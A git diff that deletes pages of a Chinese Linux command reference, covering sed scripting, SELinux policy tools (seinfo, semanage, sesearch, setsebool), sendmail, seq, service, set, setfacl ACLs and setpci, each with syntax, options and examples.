sed脚本是一个sed的命令清单,启动Sed时以-f选项引导脚本文件名。Sed对于脚本中输入的命令非常挑剔,在命令的末尾不能有任何空白或文本,如果在一行中有多个命令,要用分号分隔。以#开头的行为注释行,且不能跨行。

-
sed [options] -f scriptfile file(s)
-
-

打印奇数行或偶数行

-

方法1:

-
sed -n 'p;n' test.txt  #奇数行
-sed -n 'n;p' test.txt  #偶数行
-
-

方法2:

-
sed -n '1~2p' test.txt  #奇数行
-sed -n '2~2p' test.txt  #偶数行
-
-

打印匹配字符串的下一行

-
grep -A 1 SCC URFILE
-sed -n '/SCC/{n;p}' URFILE
-awk '/SCC/{getline; print}' URFILE
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/seinfo.html b/linux-command.docset/Contents/Resources/Documents/c/seinfo.html deleted file mode 100644 index 428650ebf2..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/seinfo.html +++ /dev/null @@ -1,87 +0,0 @@ - - - - - - - - - - - seinfo 命令,Linux seinfo 命令详解:查询SELinux的策略提供多少相关规则 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

seinfo

-

查询SELinux的策略提供多少相关规则

-

补充说明

-

seinfo命令 是用来查询SELinux的策略提供多少相关规则,一个主体进程能否读取到目标文件资源的重点是在于SELinux的策略以及策略内的各项规则,然后再通过该规则的定义去处理各项目标文件的安全上下文,尤其是“类型”部分。SELinux的策略与规则管理相关命令:seinfo命令、sesearch命令、getsebool命令、setsebool命令、semanage命令。

-

语法

-
seinfo(选项)
-
-

选项

-
-A:列出SELinux的状态、规则布尔值、身份识别、角色、类型等所有信息。
--t:列出SELinux所有类型(type)的种类。
--r:列出SELinux所有角色(role)的种类。
--u:列出SELinux所有身份识别(user)的种类。
--b:列出所有规则的种类(布尔值)。
-
-

实例

-

列出与httpd有关的规则:

-
seinfo -b | grep httpd
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/semanage.html b/linux-command.docset/Contents/Resources/Documents/c/semanage.html deleted file mode 100644 index 9142e7575a..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/semanage.html +++ /dev/null @@ -1,122 +0,0 @@ - - - - - - - - - - - semanage 命令,Linux semanage 命令详解:默认目录的安全上下文查询与修改 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

semanage

-

默认目录的安全上下文查询与修改

-

补充说明

-

semanage命令 是用来查询与修改SELinux默认目录的安全上下文。SELinux的策略与规则管理相关命令:seinfo命令、sesearch命令、getsebool命令、setsebool命令、semanage命令。

-

语法

-
semanage {login|user|port|interface|fcontext|translation} -l
-semanage fcontext -{a|d|m} [-frst] file_spec
-
-

选项

-
-l:查询。
-fcontext:主要用在安全上下文方面。
--a:增加,你可以增加一些目录的默认安全上下文类型设置。
--m:修改。
--d:删除。
-
-

实例

-

查询一下/var/www/html的默认安全性本文的设置:

-
semanage fcontext -l
-SELinux fcontext    type          Context
-....(前面省略)....
-/var/www(/.*)?      all files     system_u:object_r:httpd_sys_content_t:s0
-....(後面省略)....
-
-

如上面例子所示,我们可以查询的到每个目录的安全性本文!而目录的设定可以使用正则表达式去指定一个范围。那么如果我们想要增加某些自定义目录的安全性本文呢?举例来说,我想要色设置/srv/samba成为 public_content_t的类型时,应该如何设置呢?

-

用semanage命令设置/srv/samba目录的默认安全性本文为public_content_t

-
mkdir /srv/samba
-ll -Zd /srv/samba
-drwxr-xr-x  root root root:object_r:var_t    /srv/samba
-
-

如上所示,默认的情况应该是var_t这个咚咚的!

-
semanage fcontext -l | grep '/srv'
-/srv/.*                     all files   system_u:object_r:var_t:s0
-/srv/([^/]*/)?ftp(/.*)?     all files   system_u:object_r:public_content_t:s0
-/srv/([^/]*/)?www(/.*)?     all files   system_u:object_r:httpd_sys_content_t:s0
-/srv/([^/]*/)?rsync(/.*)?   all files   system_u:object_r:public_content_t:s0
-/srv/gallery2(/.*)?         all files   system_u:object_r:httpd_sys_content_t:s0
-/srv                        directory   system_u:object_r:var_t:s0   //看这里!
-
-

上面则是默认的/srv底下的安全性本文资料,不过,并没有指定到/srv/samba

-
semanage fcontext -a -t public_content_t "/srv/samba(/.*)?"
-semanage fcontext -l | grep '/srv/samba'
-/srv/samba(/.*)?            all files   system_u:object_r:public_content_t:s0
-
-
cat /etc/selinux/targeted/contexts/files/file_contexts.local
-# This file is auto-generated by libsemanage
-# Please use the semanage command to make changes
-/srv/samba(/.*)?    system_u:object_r:public_content_t:s0  #写入这个档案
-
-
restorecon -Rv /srv/samba* #尝试恢复默认值
-ll -Zd /srv/samba
-drwxr-xr-x  root root system_u:object_r:public_content_t /srv/samba/  #有默认值,以后用restorecon命令来修改比较简单!
-
-

semanage命令的功能很多,这里主要用到的仅有fcontext这个选项的用法而已。如上所示,你可以使用semanage来查询所有的目录默认值,也能够使用它来增加默认值的设置!

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/sendmail.html b/linux-command.docset/Contents/Resources/Documents/c/sendmail.html deleted file mode 100644 index 87d6e6b2c3..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/sendmail.html +++ /dev/null @@ -1,89 +0,0 @@ - - - - - - - - - - - sendmail 命令,Linux sendmail 命令详解:著名电子邮件服务器 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

sendmail

-

著名电子邮件服务器

-

补充说明

-

sendmail命令 是一款著名的电子邮件传送代理程序,也就是平常说的电子邮件服务器,它基于标准的简单邮件传输协议(SMTP)。

-

语法

-
sendmail(选项)
-
-

选项

-
-bd:以守护进程方式运行指令;
--bD:以前台运行方式运行;
--bi:初始化别名数据库;
--bm:以常规发送电子邮件;
--bp:显示邮件的发送队列;
--C:指定配置文件;
--D:将调试的输出信息保存到日志文件,而不显示在标准输出设备上;
--F:指定邮件发送者全名;
--n:禁止使用邮件别名功能;
--f:指定发件人的名字;
--q:设置处理邮件队列中邮件的时间间隔。
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/seq.html b/linux-command.docset/Contents/Resources/Documents/c/seq.html deleted file mode 100644 index e4e7e034fa..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/seq.html +++ /dev/null @@ -1,118 +0,0 @@ - - - - - - - - - - - seq 命令,Linux seq 命令详解:以指定增量从首数开始打印数字到尾数 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

seq

-

以指定增量从首数开始打印数字到尾数

-

补充说明

-

seq命令 用于产生从某个数到另外一个数之间的所有整数。

-

语法

-
seq [选项]... 尾数
-seq [选项]... 首数 尾数
-seq [选项]... 首数 增量 尾数
-
-

选项

-
-f, --format=格式        使用printf 样式的浮点格式
--s, --separator=字符串   使用指定字符串分隔数字(默认使用:\n)
--w, --equal-width        在列前添加0 使得宽度相同
-
-

实例

-

-f选项:指定格式

-
#seq -f"%3g" 9 11
-9
-10
-11
-
-

%后面指定数字的位数 默认是%g%3g那么数字位数不足部分是空格。

-
#sed -f"%03g" 9 11
-#seq -f"str%03g" 9 11
-str009
-str010
-str011
-
-

这样的话数字位数不足部分是0,%前面制定字符串。

-

-w选项:指定输出数字同宽

-
seq -w 98 101
-098
-099
-100
-101
-
-

不能和-f一起用,输出是同宽的。

-

-s选项:指定分隔符(默认是回车)

-
seq -s" " -f"str%03g" 9 11
-str009 str010 str011
-
-

要指定/t做为分隔符号:

-
seq -s"`echo -e "/t"`" 9 11
-
-

指定\n作为分隔符号:

-
seq -s"`echo -e "\n"`" 9 11
-19293949596979899910911
-
-

得到的是个错误结果,不过一般也没有这个必要,它默认的就是回车作为分隔符。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/service.html b/linux-command.docset/Contents/Resources/Documents/c/service.html deleted file mode 100644 index f100ad324c..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/service.html +++ /dev/null @@ -1,108 +0,0 @@ - - - - - - - - - - - service 命令,Linux service 命令详解:控制系统服务的实用工具 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

service

-

控制系统服务的实用工具

-

补充说明

-

service命令 是Redhat Linux兼容的发行版中用来控制系统服务的实用工具,它以启动、停止、重新启动和关闭系统服务,还可以显示所有系统服务的当前状态。

-

语法

-
service(选项)(参数)
-
-

选项

-
-h:显示帮助信息;
---status-all:显示所服务的状态。
-
-

参数

-
    -
  • 服务名:自动要控制的服务名,即/etc/init.d目录下的脚本文件名;
  • -
  • 控制命令:系统服务脚本支持的控制命令。
  • -
-

实例

-

当修改了主机名、ip地址等信息时,经常需要把网络重启使之生效。

-
service network status
-配置设备:
-lo eth0
-当前的活跃设备:
-lo eth0
-
-service network restart
-正在关闭接口 eth0:                                        [  确定  ]
-关闭环回接口:                                             [  确定  ]
-设置网络参数:                                             [  确定  ]
-弹出环回接口:                                             [  确定  ]
-弹出界面 eth0:                                            [  确定  ]
-
-

重启mysql

-
service mysqld status
-mysqld (pid 1638) 正在运行...
-
-service mysqld restart
-停止 MySQL:                                               [  确定  ]
-启动 MySQL:                                               [  确定  ]
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/sesearch.html b/linux-command.docset/Contents/Resources/Documents/c/sesearch.html deleted file mode 100644 index c6daa306e2..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/sesearch.html +++ /dev/null @@ -1,91 +0,0 @@ - - - - - - - - - - - sesearch 命令,Linux sesearch 命令详解:查询SELinux策略的规则详情 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

sesearch

-

查询SELinux策略的规则详情

-

补充说明

-

使用seinfo命令可以查询SELinux的策略提供多少相关规则,如果查到的相关类型或者布尔值,想要知道详细规则时,使用 sesearch命令 查询。SELinux的策略与规则管理相关命令:seinfo命令、sesearch命令、getsebool命令、setsebool命令、semanage命令。

-

语法

-
sesearch [-a] [-s 主体类型] [-t 目标类型] [-b 布尔值]
-
-

选项

-
-a:列出该类型或布尔值的所有相关信息
--t:后面还要接类型,例如 -t httpd_t
--b:后面还要接布尔值的规则,例如 -b httpd_enable_ftp_server
-
-

实例

-

找出目标文件资源类型为httpd_sys_content_t的有关信息:

-
sesearch -a -t httpd_sys_content_t
-
-

找出主体进程为httpd_t且目标文件类型为httpd相关的所有信息:

-
sesearch -s httpd_t -t httpd_* -a
-
-

查看布尔值httpd_enable_homedirs设置了多少规则

-
sesearch -b httpd_enable_homedirs -a
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/set.html b/linux-command.docset/Contents/Resources/Documents/c/set.html deleted file mode 100644 index a2bb2d0893..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/set.html +++ /dev/null @@ -1,109 +0,0 @@ - - - - - - - - - - - set 命令,Linux set 命令详解:显示或设置shell特性及shell变量 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

set

-

显示或设置shell特性及shell变量

-

补充说明

-

set命令 作用主要是显示系统中已经存在的shell变量,以及设置shell变量的新变量值。使用set更改shell特性时,符号"+"和"-"的作用分别是打开和关闭指定的模式。set命令不能够定义新的shell变量。如果要定义新的变量,可以使用declare命令以变量名=值的格式进行定义即可。

-

语法

-
set(选项)(参数)
-
-

选项

-
-a:标示已修改的变量,以供输出至环境变量。
--b:使被中止的后台程序立刻回报执行状态。
--C:转向所产生的文件无法覆盖已存在的文件。
--d:Shell预设会用杂凑表记忆使用过的指令,以加速指令的执行。使用-d参数可取消。
--e:若指令传回值不等于0,则立即退出shell。
--f:取消使用通配符。
--h:自动记录函数的所在位置。
--H Shell:可利用"!"<指令编号>的方式来执行history中记录的指令。
--k:指令所给的参数都会被视为此指令的环境变量。
--l:记录for循环的变量名称。
--m:使用监视模式。
--n:只读取指令,而不实际执行。
--p:启动优先顺序模式。
--P:启动-P参数后,执行指令时,会以实际的文件或目录来取代符号连接。
--t:执行完随后的指令,即退出shell。
--u:当执行时使用到未定义过的变量,则显示错误信息。
--v:显示shell所读取的输入值。
--x:执行指令后,会先显示该指令及所下的参数。
-
-

参数

-

取消某个set曾启动的参数。

-

实例

-

使用declare命令定义一个新的环境变量"mylove",并且将其值设置为"Visual C++",输入如下命令:

-
declare mylove='Visual C++'   #定义新环境变量
-
-

再使用set命令将新定义的变量输出为环境变量,输入如下命令:

-
set -a mylove                 #设置为环境变量
-
-

执行该命令后,将会新添加对应的环境变量。用户可以使用env命令和grep命令分别显示和搜索环境变量"mylove",输入命令如下:

-
env | grep mylove             #显示环境变量值
-
-

此时,该命令执行后,将输出查询到的环境变量值。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/setfacl.html b/linux-command.docset/Contents/Resources/Documents/c/setfacl.html deleted file mode 100644 index 3a542a5642..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/setfacl.html +++ /dev/null @@ -1,258 +0,0 @@ - - - - - - - - - - - setfacl 命令,Linux setfacl 命令详解:设置文件访问控制列表 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

setfacl

-

设置文件访问控制列表

-

补充说明

-

setfacl命令 是用来在命令行里设置ACL(访问控制列表)。在命令行里,一系列的命令跟随以一系列的文件名。

-

选项

-
-b,--remove-all:删除所有扩展的acl规则,基本的acl规则(所有者,群组,其他)将被保留。
--k,--remove-default:删除缺省的acl规则。如果没有缺省规则,将不提示。
--n,--no-mask:不要重新计算有效权限。setfacl默认会重新计算ACL mask,除非mask被明确的制定。
---mask:重新计算有效权限,即使ACL mask被明确指定。
--d,--default:设定默认的acl规则。
---restore=file:从文件恢复备份的acl规则(这些文件可由getfacl -R产生)。通过这种机制可以恢复整个目录树的acl规则。此参数不能和除--test以外的任何参数一同执行。
---test:测试模式,不会改变任何文件的acl规则,操作后的acl规格将被列出。
--R,--recursive:递归的对所有文件及目录进行操作。
--L,--logical:跟踪符号链接,默认情况下只跟踪符号链接文件,跳过符号链接目录。
--P,--physical:跳过所有符号链接,包括符号链接文件。
---version:输出setfacl的版本号并退出。
---help:输出帮助信息。
---:标识命令行参数结束,其后的所有参数都将被认为是文件名
--:如果文件名是-,则setfacl将从标准输入读取文件名。
-
-
    -
  • 选项-m-x后边跟以acl规则。多条acl规则以逗号(,)隔开。选项-M-X用来从文件或标准输入读取acl规则。
  • -
  • 选项--set--set-file用来设置文件或目录的acl规则,先前的设定将被覆盖。
  • -
  • 选项-m(--modify)-M(--modify-file)选项修改文件或目录的acl规则。
  • -
  • 选项-x(--remove)-X(--remove-file)选项删除acl规则。
  • -
-

当使用-M,-X选项从文件中读取规则时,setfacl接受getfacl命令输出的格式。每行至少一条规则,以#开始的行将被视为注释。

-

当在不支持ACLs的文件系统上使用setfacl命令时,setfacl将修改文件权限位。如果acl规则并不完全匹配文件权限位,setfacl将会修改文件权限位使其尽可能的反应acl规则,并会向standard error发送错误消息,以大于0的状态返回。

-

权限

-

文件的所有者以及有CAP_FOWNER的用户进程可以设置一个文件的acl。(在目前的linux系统上,root用户是唯一有CAP_FOWNER能力的用户)

-

ACL规则

-

setfacl命令可以识别以下的规则格式:

-
[d[efault]:] [u[ser]:]uid [:perms]  指定用户的权限,文件所有者的权限(如果uid没有指定)。
-[d[efault]:] g[roup]:gid [:perms]   指定群组的权限,文件所有群组的权限(如果gid未指定)
-[d[efault]:] m[ask][:] [:perms]     有效权限掩码
-[d[efault]:] o[ther] [:perms]       其他的权限
-
-

恰当的acl规则被用在修改和设定的操作中,对于uid和gid,可以指定一个数字,也可指定一个名字。perms域是一个代表各种权限的字母的组合:读-r-w执行-x,执行只适合目录和一些可执行的文件。pers域也可设置为八进制格式。

-

自动创建的规则

-

最初的,文件目录仅包含3个基本的acl规则。为了使规则能正常执行,需要满足以下规则。

-
    -
  • 3个基本规则不能被删除。
  • -
  • 任何一条包含指定的用户名或群组名的规则必须包含有效的权限组合。
  • -
  • 任何一条包含缺省规则的规则在使用时,缺省规则必须存在。
  • -
-

ACL的名词定义

-

先来看看在ACL里面每一个名词的定义,这些名词我大多从man page上摘下来虽然有些枯燥,但是对于理解下面的内容还是很有帮助的。

-

ACL是由一系列的Access Entry所组成的,每一条Access Entry定义了特定的类别可以对文件拥有的操作权限。Access Entry有三个组成部分:Entry tag type, qualifier (optional), permission。

-

我们先来看一下最重要的Entry tag type,它有以下几个类型:

-
ACL_USER_OBJ:相当于Linux里file_owner的permission
-ACL_USER:定义了额外的用户可以对此文件拥有的permission
-ACL_GROUP_OBJ:相当于Linux里group的permission
-ACL_GROUP:定义了额外的组可以对此文件拥有的permission
-ACL_MASK:定义了ACL_USER, ACL_GROUP_OBJ和ACL_GROUP的最大权限 (这个我下面还会专门讨论)
-ACL_OTHER:相当于Linux里other的permission
-
-

让我们来据个例子说明一下,下面我们就用getfacl命令来查看一个定义好了的ACL文件:

-
[root@localhost ~]# getfacl ./test.txt
-# file: test.txt
-# owner: root
-# group: admin
-user::rw-
-user:john:rw-
-group::rw-
-group:dev:r--
-mask::rw- other::r--
-
-

前面三个以#开头的定义了文件名,file owner和group。这些信息没有太大的作用,接下来我们可以用--omit-header来省略掉。

-
user::rw-       定义了ACL_USER_OBJ, 说明file owner拥有read and write permission
-user:john:rw-   定义了ACL_USER,这样用户john就拥有了对文件的读写权限,实现了我们一开始要达到的目的
-group::rw-      定义了ACL_GROUP_OBJ,说明文件的group拥有read and write permission
-group:dev:r--   定义了ACL_GROUP,使得dev组拥有了对文件的read permission
-mask::rw-       定义了ACL_MASK的权限为read and write
-other::r--      定义了ACL_OTHER的权限为read
-
-

从这里我们就可以看出ACL提供了我们可以定义特定用户和用户组的功能,那么接下来我们就来看一下如何设置一个文件的ACL:

-

如何设置ACL文件

-

首先我们还是要讲一下设置ACL文件的格式,从上面的例子中我们可以看到每一个Access Entry都是由三个被:号分隔开的字段所组成,第一个就是Entry tag type。

-
user   对应了ACL_USER_OBJ和ACL_USER
-group  对应了ACL_GROUP_OBJ和ACL_GROUP
-mask   对应了ACL_MASK
-other  对应了ACL_OTHER
-
-

第二个字段称之为qualifier,也就是上面例子中的john和dev组,它定义了特定用户和拥护组对于文件的权限。这里我们也可以发现只有user和group才有qualifier,其他的都为空。第三个字段就是我们熟悉的permission了。它和Linux的permission一样定义,这里就不多讲了。

-

下面我们就来看一下怎么设置test.txt这个文件的ACL让它来达到我们上面的要求。

-

一开始文件没有ACL的额外属性:

-
[root@localhost ~]# ls -l
--rw-rw-r-- 1 root admin 0 Jul 3 22:06 test.txt
-
-[root@localhost ~]# getfacl --omit-header ./test.txt
-user::rw- group::rw- other::r--
-
-

我们先让用户john拥有对test.txt文件的读写权限:

-
[root@localhost ~]# setfacl -m user:john:rw- ./test.txt
-[root@localhost ~]# getfacl --omit-header ./test.txt
-user::rw-
-user:john:rw-
-group::rw-
-mask::rw-
-other::r--
-
-

这时我们就可以看到john用户在ACL里面已经拥有了对文件的读写权。这个时候如果我们查看一下linux的permission我们还会发现一个不一样的地方。

-
[root@localhost ~]# ls -l ./test.txt
--rw-rw-r--+ 1 root admin 0 Jul 3 22:06 ./test.txt
-
-

在文件permission的最后多了一个+号,当任何一个文件拥有了ACL_USER或者ACL_GROUP的值以后我们就可以称它为ACL文件,这个+号就是用来提示我们的。我们还可以发现当一个文件拥有了ACL_USER或者ACL_GROUP的值时ACL_MASK同时也会被定义。

-

接下来我们来设置dev组拥有read permission:

-
[root@localhost ~]# setfacl -m group:dev:r-- ./test.txt
-[root@localhost ~]# getfacl --omit-header ./test.txt
-user::rw-
-user:john:rw-
-group::rw-
-group:dev:r--
-mask::rw-
-other::r--
-
-

到这里就完成了我们上面讲到的要求,是不是很简单呢。

-

ACL_MASK和Effective permission

-

这里需要重点讲一下ACL_MASK,因为这是掌握ACL的另一个关键,在Linux file permission里面大家都知道比如对于rw-rw-r--来说, 当中的那个rw-是指文件组的permission. 但是在ACL里面这种情况只是在ACL_MASK不存在的情况下成立。如果文件有ACL_MASK值,那么当中那个rw-代表的就是mask值而不再是group permission了。

-

让我们来看下面这个例子:

-
[root@localhost ~]# ls -l
--rwxrw-r-- 1 root admin 0 Jul 3 23:10 test.sh
-
-

这里说明test.sh文件只有file owner: root拥有read, write, execute/search permission。admin组只有read and write permission,现在我们想让用户john也对test.sh具有和root一样的permission。

-
[root@localhost ~]# setfacl -m user:john:rwx ./test.sh
-[root@localhost ~]# getfacl --omit-header ./test.sh
-user::rwx user:john:rwx
-group::rw-
-mask::rwx
-other::r--
-
-

这里我们看到john已经拥有了rwx的permission,mask值也被设定为rwx,那是因为它规定了ACL_USERACL_GROUPACL_GROUP_OBJ的最大值,现在我们再来看test.sh的Linux permission,它已经变成了:

-
[root@localhost ~]# ls -l
--rwxrwxr--+ 1 root admin 0 Jul 3 23:10 test.sh
-
-

那么如果现在admin组的用户想要执行test.sh的程序会发生什么情况呢?它会被permission deny。原因在于实际上admin组的用户只有read and write permission,这里当中显示的rwx是ACL_MASK的值而不是group的permission。

-

所以从这里我们就可以知道,如果一个文件后面有+标记,我们都需要用getfacl来确认它的permission,以免发生混淆。

-

下面我们再来继续看一个例子,假如现在我们设置test.sh的mask为read only,那么admin组的用户还会有write permission吗?

-
[root@localhost ~]# setfacl -m mask::r-- ./test.sh
-[root@localhost ~]# getfacl --omit-header ./test.sh
-user::rwx
-user:john:rwx   #effective:r--
-group::rw-      #effective:r--
-mask::r--
-other::r--
-
-

这时候我们可以看到ACL_USER和ACL_GROUP_OBJ旁边多了个#effective:r--,这是什么意思呢?让我们再来回顾一下ACL_MASK的定义。它规定了ACL_USERACL_GROUP_OBJACL_GROUP的最大权限。那么在我们这个例子中他们的最大权限也就是read only。虽然我们这里给ACL_USERACL_GROUP_OBJ设置了其他权限,但是他们真正有效果的只有read权限。

-

这时我们再来查看test.sh的Linux file permission时它的group permission也会显示其mask的值(i.e. r--)

-
[root@localhost ~]# ls -l
--rwxr--r--+ 1 root admin 0 Jul 3 23:10 test.sh
-
-

Default ACL

-

上面我们所有讲的都是Access ACL,也就是对文件而言。下面我简单讲一下Default ACL。Default ACL是指对于一个目录进行Default ACL设置,并且在此目录下建立的文件都将继承此目录的ACL。

-

同样我们来做一个试验说明,比如现在root用户建立了一个dir目录:

-
[root@localhost ~]# mkdir dir
-
-

他希望所有在此目录下建立的文件都可以被john用户所访问,那么我们就应该对dir目录设置Default ACL。

-
[root@localhost ~]# setfacl -d -m user:john:rw ./dir
-[root@localhost ~]# getfacl --omit-header ./dir
-user::rwx
-group::rwx
-other::r-x
-default:user::rwx
-default:user:john:rwx
-default:group::rwx
-default:mask::rwx
-default: other::r-x
-
-

这里我们可以看到ACL定义了default选项,john用户拥有了default的read, write, excute/search permission。所有没有定义的default都将从file permission里copy过来,现在root用户在dir下建立一个test.txt文件。

-
[root@localhost ~]# touch ./dir/test.txt
-[root@localhost ~]# ls -l ./dir/test.txt
--rw-rw-r--+ 1 root root 0 Jul 3 23:46 ./dir/test.txt
-
-[root@localhost ~]# getfacl --omit-header ./dir/test.txt
-user::rw-
-user:john:rw-
-group::rwx #effective:rw-
-mask::rw-
-other::r--
-
-

这里我们看到在dir下建立的文件john用户自动就有了read and write permission,

-

ACL相关命令

-

前面的例子中我们都注意到了getfacl命令是用来读取文件的ACL,setfacl是用来设定文件的Acess ACL。这里还有一个chacl是用来改变文件和目录的Access ACL and Default ACL,它的具体参数大家可以去看man page。我只想提及一下chacl -B。它可以彻底删除文件或者目录的ACL属性(包括Default ACL),比如你即使用了setfacl -x删除了所有文件的ACL属性,那个+号还是会出现在文件的末尾,所以正确的删除方法应该是用chacl -B用cp来复制文件的时候我们现在可以加上-p选项。这样在拷贝文件的时候也将拷贝文件的ACL属性,对于不能拷贝的ACL属性将给出警告。

-

mv命令将会默认地移动文件的ACL属性,同样如果操作不允许的情况下会给出警告。

-

需要注意的几点

-

如果你的文件系统不支持ACL的话,你也许需要重新mount你的file system:

-
mount -o remount, acl [mount point]
-
-

如果用chmod命令改变Linux file permission的时候相应的ACL值也会改变,反之改变ACL的值,相应的file permission也会改变。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/setpci.html b/linux-command.docset/Contents/Resources/Documents/c/setpci.html deleted file mode 100644 index a45e98df3a..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/setpci.html +++ /dev/null @@ -1,115 +0,0 @@ - - - - - - - - - - - setpci 命令,Linux setpci 命令详解:查询和配置PCI设备的使用工具 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

setpci

-

查询和配置PCI设备的使用工具

-

补充说明

-

setpci命令 是一个查询和配置PCI设备的使用工具。

-

语法

-
setpci(选项)(参数)
-
-

选项

-
-v:显示指令执行的细节信息;
--f:当没有任何操作需要完成时,不显示任何信息;
--D:测试模式,并不真正将配置信息写入寄存器;
--d:仅显示给定厂商和设备的信息;
--s:仅显示指定总线、插槽上的设备或设备上的功能块信息。
-
-

参数

-
    -
  • PCI设备:指定要配置的PCI设备;
  • -
  • 操作:指定要完成的配置操作。
  • -
-

实例

-

Linux下调节笔记本屏幕亮度方法:

-

首先进入终端输入lspci命令,列出各种设备的地址:

-
lspci
-00:00.0 host bridge: Intel Corporation Mobile 945GM/PM/GMS, 943/940GML and 945GT Express Memory Controller Hub (rev 03)
-00:02.0 VGA compatible controller: Intel Corporation Mobile 945GM/GMS, 943/940GML Express Integrated Graphics Controller (rev 03)
-00:02.1 Display controller: Intel Corporation Mobile 945GM/GMS/GME, 943/940GML Express Integrated Graphics Controller (rev 03)
-00:1b.0 Audio device: Intel Corporation N10/ICH 7 Family High Definition Audio Controller (rev 02)
-00:1c.0 PCI bridge: Intel Corporation N10/ICH 7 Family PCI Express Port 1 (rev 02)
-00:1c.1 PCI bridge: Intel Corporation N10/ICH 7 Family PCI Express Port 2 (rev 02)
-......
-
-

发现00:02.0是VGA设备,于是我们修改它的属性:

-
sudo setpci -s 00:02.0 F4.B=FF
-
-

解释一下:

-
    -
  • setpci 是修改设备属性的命令。
  • -
  • -s 表示接下来输入的是设备的地址。
  • -
  • 00:02.0 VGA设备地址(<总线>:<接口>.<功能>)。
  • -
  • F4 要修改的属性的地址,这里应该表示“亮度”。
  • -
  • .B 修改的长度(B应该是字节(Byte),还有w(应该是Word,两个字节)、L(应该是Long,4个字节))。
  • -
  • =FF 要修改的值(可以改)。
  • -
-

我这里00是最暗,FF是最亮,不同的电脑可能不一样。比如说我嫌FF太闪眼了,我就可以:

-
sudo setpci -s 00:02.0 F4.B=CC
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/setsebool.html b/linux-command.docset/Contents/Resources/Documents/c/setsebool.html deleted file mode 100644 index 4a7118abed..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/setsebool.html +++ /dev/null @@ -1,147 +0,0 @@ - - - - - - - - - - - setsebool 命令,Linux setsebool 命令详解:修改SElinux策略内各项规则的布尔值 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

setsebool

-

修改SElinux策略内各项规则的布尔值

-

补充说明

-

setsebool命令 是用来修改SElinux策略内各项规则的布尔值。setsebool命令和getsebool命令是SELinux修改和查询布尔值的一套工具组。SELinux的策略与规则管理相关命令:seinfo命令、sesearch命令、getsebool命令、setsebool命令、semanage命令。

-

语法

-
setsebool [-P] 布尔值=[0|1]
-
-

选项

-
-P:直接将设置值写入配置文件,该设置数据将来会生效的。
-
-

实例

-

允许vsvtp匿名用户写入权限:

-
setsebool -P allow_ftpd_anon_write=1
-
-

如果你希望你的ftp用户可以访问自己的家目录的话,需要开启:

-
setsebool -P ftp_home_dir 1
-
-

如果你希望将vsftpd以daemon的方式运行的话,需要开启:

-
setsebool -P ftpd_is_daemon 1
-
-

你可以让SElinux停止保护vsftpd的daemon方式动行:

-
setsebool -P ftpd_disable_trans 1 
-
-

HTTP被设置允许cgi的设置:

-
setsebool -P httpd_enable_cgi 1
-
-

允许用户HHTP访问其家目录,该设定限仅于用户的家目录主页:

-
setsebool -P httpd_enable_homedirs 1
-chcon -R -t httpd_sys_content_t ~user/public_html
-
-

允许httpd访问终端:

-
setsebool -P httpd_tty_comm 1
-
-

关闭Selinux的关于httpd进程守护的保护:

-
setsebool -P httpd_disable_trans 1
-service httpd restart
-
-

关于named、master更新selinux设定:

-
setsebool -P named_write_master_zones 1
-
-

关闭named的进程守护保护:

-
setsebool -P named_disable_trans 1
-service named restart
-
-

Selinux将本机的NFS共享设置成只读:

-
setsebool -P nfs_export_all_ro 1
-
-

SElinux将本机的NFS共享设置成可读可写:

-
setsebool -P nfs_export_all_rw 1
-
-

如果你想要将远程NFS的家目录共享到本机,需要开启:

-
setsebool -P use_nfs_home_dirs 1
-
-

如果samba服务器共享目录给多个域,则需要:

-
setsebool -P allow_smbd_anon_write=1
-
-

samba服务器要共享家目录时:

-
setsebool -P samba_enable_home_dirs 1
-
-

如果你需在本机上使用远程samba服务器的家目录:

-
setsebool -P use_samba_home_dirs 1
-
-

关闭selinux关于samba的进程守护的保护:

-
setsebool -P smbd_disable_trans 1
